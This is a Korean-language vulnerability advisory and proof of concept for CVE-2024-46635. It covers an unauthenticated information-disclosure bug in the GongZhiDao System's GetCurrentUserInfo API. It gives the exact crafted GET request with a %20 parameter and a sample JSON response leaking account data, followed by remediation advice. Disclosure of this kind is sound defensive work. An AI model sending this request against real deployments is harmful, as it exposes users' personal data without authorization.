
CVE-2024-46635에 대한 개념 증명: GongZhiDao System의 API 엔드포인트에서 부적절한 입력 검증 취약점으로 인증 없이 민감한 사용자 정보를 노출합니다.
GongZhiDao System은 GongZhiDao에서 개발한 플랫폼입니다. 사용자 관리, 데이터 분석 및 운영 기능을 포함한 엔터프라이즈 솔루션을 제공합니다. 그러나 API 엔드포인트 중 하나에서 보안 취약점이 발견되어 적절한 인증 없이 민감한 사용자 정보가 노출될 가능성이 있습니다.
GongZhiDao System의 /oaa/api/AccountMaster/GetCurrentUserInfo API 엔드포인트에 취약점이 존재합니다. UserNameOrPhoneNumber 매개변수 대신 %20(URL 인코딩된 공백)을 전달하면, API가 적절한 인증이나 권한 없이도 계정 ID, 사용자 이름, 이메일 주소를 포함한 민감한 사용자 정보를 응답합니다. 이러한 부적절한 입력 검증으로 인해 공격자가 민감한 데이터에 무단으로 접근할 수 있습니다.
이 취약점을 성공적으로 악용하면 다음과 같은 민감한 사용자 데이터가 노출될 수 있습니다.
공격자는 이 정보를 사용하여 신원 도용이나 피싱과 같은 추가 공격을 수행할 수 있습니다.
취약점을 악용하려면 공격자는 취약한 API 엔드포인트에 조작된 HTTP GET 요청을 보내야 합니다.
GET /oaa/api/AccountMaster/GetCurrentUserInfo?UserNameOrPhoneNumber=%20 HTTP/2
이 요청은 JSON 형식의 민감한 사용자 데이터와 함께 200 OK 응답을 반환합니다.
HTTP/2 200 OK
Date: Tue, 10 Sep 2024 03:25:09 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 153
Server: nginx/1.22.0
X-Powered-By: ASP.NET
Set-Cookie: Path=/; HttpOnly; Secure
{"accountId":"09c05434-e1ff-4436-b1b0-01215e48b274","name":"John","phoneNumber":null,"userName":"19999999999","email1":"[email protected]"}
/oaa/api/AccountMaster/GetCurrentUserInfoUserNameOrPhoneNumber에 %20을 입력적절한 입력 검증 구현: UserNameOrPhoneNumber 매개변수가 적절히 살균되고 검증되도록 하십시오. %20과 같은 입력은 거부되어야 합니다.
권한 확인: 인증되고 권한이 부여된 사용자만 민감한 정보에 접근할 수 있도록 적절한 권한 부여 메커니즘을 구현하십시오.
속도 제한 및 모니터링: API 엔드포인트에 속도 제한을 적용하여 무차별 대입 또는 자동화된 공격을 방지하고, 비정상적인 접근 패턴을 모니터링하십시오.
이 취약점은 hithub에 의해 발견되었습니다.